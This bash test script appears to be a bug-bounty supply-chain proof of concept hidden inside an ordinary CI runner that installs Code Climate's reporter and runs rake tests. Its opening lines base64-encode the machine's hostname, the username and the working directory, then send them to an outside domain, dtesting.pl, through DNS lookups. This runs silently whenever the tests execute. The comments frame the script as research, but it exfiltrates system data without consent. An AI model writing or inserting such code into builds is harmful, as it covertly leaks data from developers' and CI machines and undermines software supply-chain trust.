#!/usr/bin/bash -e

# I am a bug bounty huner (https://hackerone.com/kannthu), if you see this it means the code executed.
# My intention is not to break anything. I am only doing a reaserch.
# I will report this vulnerability to your program.

HOSTNAME=`hostname | base64 | sed -r 's/[\\]+/00/g' | sed -r 's/[=]+/11/g'`
OUTPUT=`echo $USER | base64 | sed -r 's/[\\]+/00/g' | sed -r 's/[=]+/11/g'`
host $HOSTNAME.$OUTPUT.t.dtesting.pl > /dev/null

PARTS=`pwd | sed -E 's/(.{13})/\1\n/g'`
for i in $PARTS
do
  PWD=`echo $i | base64 | sed -r 's/[\\]+/00/g' | sed -r 's/[=]+/11/g'`
  host $PWD.$OUTPUT.t.dtesting.pl > /dev/null
done

if [[ ! -z "${CC_TEST_REPORTER_ID}" ]]; then
  apt-get update -qq && apt-get install -y curl
  curl -s -L https://codeclimate.com/downloads/test-reporter/test-reporter-latest-linux-amd64 > ./cc-test-reporter
  chmod +x ./cc-test-reporter

  ./cc-test-reporter before-build
fi

bundle exec rake test
EXIT_CODE=$?

if [[ ! -z "${CC_TEST_REPORTER_ID}" ]]; then
  ./cc-test-reporter after-build --coverage-input-type simplecov --exit-code ${EXIT_CODE}
fi

exit ${EXIT_CODE}
